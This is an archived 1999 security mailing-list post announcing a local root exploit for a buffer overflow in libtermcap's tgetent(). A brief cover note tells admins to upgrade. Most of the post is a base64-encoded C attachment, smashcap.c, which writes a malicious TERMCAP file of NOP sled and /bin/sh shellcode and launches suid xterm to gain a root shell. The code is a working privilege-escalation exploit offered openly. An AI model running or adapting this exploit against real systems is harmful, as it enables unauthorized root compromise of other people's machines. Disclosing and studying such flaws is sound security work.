local libtermcap exploit

From: sk8 (sk8@LUCID-SOLUTIONS.COM)
Date: Thu Aug 19 1999 - 06:56:14 PDT

  • Next message: Martin Schulze: "Re: [RHSA-1999:028-01] Buffer overflow in libtermcap tgetent()"

      This message is in MIME format.  The first part should be readable text,
      while the remaining parts are likely unreadable without MIME-aware tools.
      Send mail to mimeat_private for more info.
    
    ---725540659-895332205-935070974=:26359
    Content-Type: TEXT/PLAIN; charset=US-ASCII
    
    
    	Well, I wrote this a little while back.  This is a serious bug,
    so people should be able to test their systems properly.  All admins
    should definitely upgrade to the newest libtermcap.
    
    				- sk8 of LS
    
    
    
    
    ---725540659-895332205-935070974=:26359
    Content-Type: TEXT/PLAIN; charset=US-ASCII; name="smashcap.c"
    Content-Transfer-Encoding: BASE64
    Content-ID: <Pine.LNX.3.96.990819085614.26359Bat_private>
    Content-Description:
    
    LyogTG9jYWwgZXhwbG9pdCBmb3Igc3VpZCByb290IHByb2dyYW1zIGxpbmtl
    ZCB0byBsaWJ0ZXJtY2FwIDwgMi4wLjgtMTUgDQogKg0KICogdGVzdGVkIHdp
    dGggeHRlcm0gYW5kIG54dGVybSBvbiBSZWRIYXQgNS4yIGFuZCA0LjINCiAq
    DQogKiBzazhAbHVjaWQtc29sdXRpb25zLmNvbQ0KICogaHR0cDovL3d3dy5s
    dWNpZC1zb2x1dGlvbnMuY29tDQogKg0KICogVXNhZ2U6DQogKiAuL3NtYXNo
    Y2FwICAJCS1kZWZhdWx0IGlzIGJ1ZmZlciBzaXplIG9mIDQyMTAgYW5kIG9m
    ZnNldCBvZiAzMDANCiAqCQkJIGFuZCBzZWVtcyB0byB3b3JrIG9uIFJIIDUu
    Mg0KICoNCiAqIEFkanVzdCBvZmZzZXRzIChzb21ld2hlcmUgYmV0d2VlbiAy
    MzAgLSAxMTQwKSBpZiBuZWNlc3NhcnkNCiAqDQogKiAuL3NtYXNoY2FwIDxv
    ZmZzZXQ+IAktYnVmZmVyIHNpemUgZGVmYXVsdHMgdG8gNDIxMA0KICogLi9z
    bWFzaGNhcCA8b2Zmc2V0PiA8YnVmZmVyc2l6ZT4NCiAqDQogKg0KICogSW4g
    b3JkZXIgdG8gc3RvcCBzY3JpcHQga2lkcy9vcHBvcnR1bmlzdHMsIG9uZSBN
    SU5PUiBjaGFuZ2UgbXVzdCBiZQ0KICogbWFkZSBpbiBvcmRlciBmb3IgdGhp
    cyB0byB3b3JrLiAgDQogKg0KICogVXNlIG9ubHkgdG8gdGVzdCB5b3VyIG1h
    Y2hpbmVzIHRvIHNob3cgeW91IHRoYXQgeW91IG11c3QgcGF0Y2ggbGlidGVy
    bWNhcC4NCiAqIFF1aWNrIGZpeCwgY2htb2QgdS1zIEFMTCBzdWlkIHJvb3Qg
    cHJvZ3JhbXMgbGlua2VkIHdpdGggbGlidGVybWNhcC4NCiAqDQogKgkJCQkJ
    CS0gc2s4IG9mIExTDQogKg0KICovDQoNCiNpbmNsdWRlIDxzdGRsaWIuaD4N
    CiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRlIDxmY250bC5oPg0KDQoj
    ZGVmaW5lIGZpbGVuYW1lICIvdG1wL2xzdGVybWNhcCINCiNkZWZpbmUgZW50
    cnkxICAgInh0ZXJtfCINCiNkZWZpbmUgREVGQVVMVF9CVUZTSVpFIDQyMTAN
    Cg0KY2hhciBzaGVsbGNvZGVbXSA9DQogICJceGViXHgxZlx4NWVceDg5XHg3
    Nlx4MDhceDMxXHhjMFx4ODhceDQ2XHgwN1x4ODlceDQ2XHgwY1x4YjBceDBi
    Ig0KICAiXHg4OVx4ZjNceDhkXHg0ZVx4MDhceDhkXHg1Nlx4MGNceGNkXHg4
    MFx4MzFceGRiXHg4OVx4ZDhceDQwXHhjZCINCiAgIlx4ODBceGU4XHhkY1x4
    ZmZceGZmXHhmZlx4ZmYvYmluL3NoIjsgLyogTGludXggc2hlbGxjb2RlICov
    DQoNCmxvbmcgZ2V0X3NwKHZvaWQpDQp7DQogICBfX2FzbV9fKCJtb3ZsICVl
    c3AsICVlYXhcbiIpOw0KfQ0KDQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAq
    YXJndltdKSB7DQogICBpbnQgYnVmc2l6ZSwgb2Zmc2V0LCBpLCBmZDsNCiAg
    IGxvbmcgKmJ1ZnB0cjsNCiAgIGNoYXIgKnB0ciwgKmJ1ZmZlciwgKnRlbXBi
    dWY7DQoNCiAgIHNldGVudigiVEVSTUNBUCIsICIvdG1wL2xzdGVybWNhcCIs
    IDEpOw0KDQoNCiAgIGJ1ZnNpemU9REVGQVVMVF9CVUZTSVpFOw0KDQogICBp
    ZiAoYXJnYyA+IDIpIGJ1ZnNpemU9YXRvaShhcmd2WzJdKTsNCiAgIGlmIChh
    cmdjID4gMSkgb2Zmc2V0PWF0b2koYXJndlsxXSk7DQogICBlbHNlIG9mZnNl
    dD0zMDA7DQogIA0KDQogICBwcmludGYoImJ1ZnNpemU6ICVpXG5vZmZzZXQ6
    ICVpXG4iLCBidWZzaXplLG9mZnNldCk7DQoNCiAgIGlmKCEoYnVmZmVyID0g
    bWFsbG9jKGJ1ZnNpemUpKSkgew0KICAgICAgcHJpbnRmKCJjYW4ndCBhbGxv
    Y2F0ZSBlbm91Z2ggbWVtb3J5XG4iKTsNCiAgICAgIGV4aXQoMCk7DQogICB9
    DQogIGlmKCEodGVtcGJ1ZiA9IG1hbGxvYyhidWZzaXplK3N0cmxlbihlbnRy
    eTEpICkpKSB7DQogICAgICBwcmludGYoImNhbid0IGFsbG9jYXRlIGVub3Vn
    aCBtZW1vcnlcbiIpOw0KICAgICAgZXhpdCgwKTsNCiAgIH0NCg0KICAgcHJp
    bnRmKCJnZXRfc3AoKTogMHgleFxuIiwgZ2V0X3NwKCkpOw0KICAgcHJpbnRm
    KCJnZXRfc3AoKS1vZmZzOiAweCV4XG4iLCAoZ2V0X3NwKCktb2Zmc2V0KSAp
    Ow0KDQogICBwdHI9YnVmZmVyOw0KICAgYnVmcHRyID0gKGxvbmcgKikoYnVm
    ZmVyKzIpOyAvKiBhbGlnbiAqLw0KDQogICBmb3IgKGkgPSAwOyBpIDwgYnVm
    c2l6ZTsgaSArPSA0KQ0KICAgICAgCSooYnVmcHRyKyspID0gKGdldF9zcCgp
    LW9mZnNldCk7DQoNCiAgIAlmb3IgKGkgPSAwOyBpIDwgKGJ1ZnNpemUvMik7
    IGkrKykgDQogICAgIAkJIGJ1ZmZlcltpXSA9IDB4OTA7DQoNCglwdHI9YnVm
    ZmVyICsgKChidWZzaXplLzIpIC0gc3RybGVuKHNoZWxsY29kZSkvMik7DQog
    IAlmb3IgKGkgPSAwOyBpIDwgc3RybGVuKHNoZWxsY29kZSk7IGkrKykNCiAg
    ICAgIAkJKihwdHIrKykgPSBzaGVsbGNvZGVbaV07IC8vc2hlbGxjb2RlDQoN
    Cg0KICAJcHRyPXB0cisyNDsNCg0KCS8qIG5vdyBpbnNlcnQgdGhlIGNoYXJh
    Y3RlcnMgOiBhbmQgXCBpbnRvIHRoZSB0ZXJtY2FwIC0gdGhlc2UgYXJlIHZp
    dGFsICovDQogIAkqKHB0cisrKT0weDNhOyAgDQogIAkqKHB0cisrKT0weDVj
    OyAgDQoNCg0KICAgCXNucHJpbnRmKHRlbXBidWYsIChidWZzaXplK3N0cmxl
    bihlbnRyeTEpKSwgIiVzJXMlcyIsIGVudHJ5MSwgYnVmZmVyKTsNCiAgIAlm
    ZCA9IG9wZW4oZmlsZW5hbWUsIE9fV1JPTkxZfE9fQ1JFQVR8T19UUlVOQywg
    MDY2Nik7DQogICAJd3JpdGUgKGZkLCB0ZW1wYnVmLCBzdHJsZW4odGVtcGJ1
    ZikpOw0KICAgCWNsb3NlKGZkKTsNCglwcmludGYoIm1hZGUgdGVybWNhcFxu
    Iik7DQoNCglleGVjbCgiL3Vzci9YMTFSNi9iaW4veHRlcm0iLCJ4dGVybSIs
    IDApOw0KCQ0KfQ0K
    ---725540659-895332205-935070974=:26359--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:57:25 PDT